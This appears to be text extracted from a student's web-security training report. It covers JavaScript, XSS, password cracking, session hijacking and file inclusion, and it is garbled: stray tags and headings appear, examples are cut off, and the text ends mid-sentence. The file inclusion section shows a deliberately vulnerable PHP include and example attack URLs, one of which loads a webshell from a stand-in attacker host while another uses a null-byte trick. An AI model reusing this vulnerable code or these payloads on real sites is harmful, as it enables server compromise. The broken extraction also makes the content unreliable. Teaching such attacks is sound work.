Summer Training: Submitted By
Summer Training: Submitted By
REPORT
INTRODUCTION
ANONYMOUS
TYPES OF ATTACKS
Various kinds of possible attacks on a computer
system are: Denial of service attack
Brute force attack
Cross site scripting (XSS)
File inclusions (or file upload), and many more.
</html>
EVENT DRIVEN SCRIPT EXECUTION:
EXAMPLE
<script type="text/javascript">
function whichButton(event) {
if (event.button==1) {
alert("You clicked the left mouse button!") }
else {
alert("You clicked the right mouse button!")
}}
</script>
<body onmousedown="whichButton(event)">
</body>
OUTPUT:
JAVASCRIPT:
Language executed by browser
Scripts are embedded in Web pages
Can run before HTML is loaded, before
page is viewed, while it is being viewed or
when leaving the page
Used to implement active web pages
AJAX, huge number of Web-based
applications
Attacker gets to execute code on users machine
Often used to exploit other vulnerabilities
The worlds most misunderstood programing
language
JAVASCRIPT IN WEBPAGES:
Embedded in HTML page as <script> element
JavaScript written directly inside <script>
element
<script> alert("Hello World!") </script>
Linked file as src attribute of the <script>
element
<script type="text/JavaScript"
src=functions.js"></script>
Event handler attribute
<a href="http://www.yahoo.com"
onmouseover="alert('hi');">
Pseudo-URL referenced by a link
<a href=JavaScript: alert(You clicked);>Click
me</a>
REMOTE SCRIPTING:
Goal: exchange data between client-side app in a
browser and server-side app (w/o reloading page)
Methods
Java applet or ActiveX control or Flash
Can make HTTP requests and interact with clientside JavaScript code, but requires LiveConnect
(not available on all browsers)
XML-RPC
Open, standards-based technology that requires
XML-RPC libraries on your server and in clientside code
Simple HTTP via a hidden IFRAME
IFRAME with a script on your web server (or
database of static HTML files) is by far the easiest
remote scripting option
XSS EXAMPLE:
search field on victim.com:
http://victim.com/search.php ? term = apple
server-side implementation of search.php:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for
...
</BODY> </HTML>
2.
Victim.com returns
REFLECTED XSS:
STORED XSS:
CRACKING
Cracking is the procedure of knowing passwords of
certain documents, files, etc. using illegal means.
However, in case of penetration testing, cracking is
not illegal, it is done with the consent of the
required authorities.
Various methods are used to crack passwords like
brute force attack, dictionary attack, social
engineering, etc.
EXAMPLE OF BRUTE FORCE ATTACK USING
FIREFORCE:
Fireforce is an add on used in Mozilla Firefox for
cracking passwords. After installing this add on ,
the following procedure is followed:
Launching the attack:
SESSION HIJACKING
Session hijacking, sometimes also known as cookie
hijacking is the exploitation of a valid computer
sessionsometimes also called asession keyto gain
unauthorized access to information or services in a
computer system. In particular, it is used to refer to
the theft of a magic cookie used to authenticate a user
to a remote server. It has particular relevance to web
developers, as the HTTP cookies used to maintain a
session on many web sites can be easily stolen by an
attacker using an intermediary computer or with
access to the saved cookies on the victim's computer .
A popular method is using source-routed IP packets.
This allows an attacker at point B on the network to
participate in a conversation between A and C by
encouraging the IP packets to pass
through B's machine.
If source-routing is turned off, the attacker can use
"blind" hijacking, whereby it guesses the responses of
the two machines. Thus, the attacker can send a
command, but can never see the response. However,
a common command would be to set a password
allowing access from somewhere else on the net.
FILE INCLUSION
File inclusion vulnerability is a type
of vulnerability most often found on websites.
It allows an attacker to include a file, usually
through a script on the web server. The
vulnerability occurs due to the use of usersupplied input without proper validation. This
can lead to something as minimal as outputting
the contents of the file or more serious events
such as:
TYPES OF INCLUSION:
1) REMOTE FILE INCLUSION
2) LOCAL FILE INCLUSION
EXAMPLE:
Consider this PHP script which includes a file
specified by request:
<?php
if ( isset( $_GET['COLOR'] ) ) {
include( $_GET['COLOR'] . '.php' );
}
?>
<form method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
/vulnerable.php?COLOR=http://evil.example.co
m/webshell.txt? - injects a remotely hosted file
containing a malicious code.
/vulnerable.php?COLOR=C:\\ftp\\upload\\expl
oit - Executes code from an already uploaded file
called exploit.php (local file inclusion
vulnerability)
/vulnerable.php?COLOR=C:\\notes.txt%00 example using NULL meta character to remove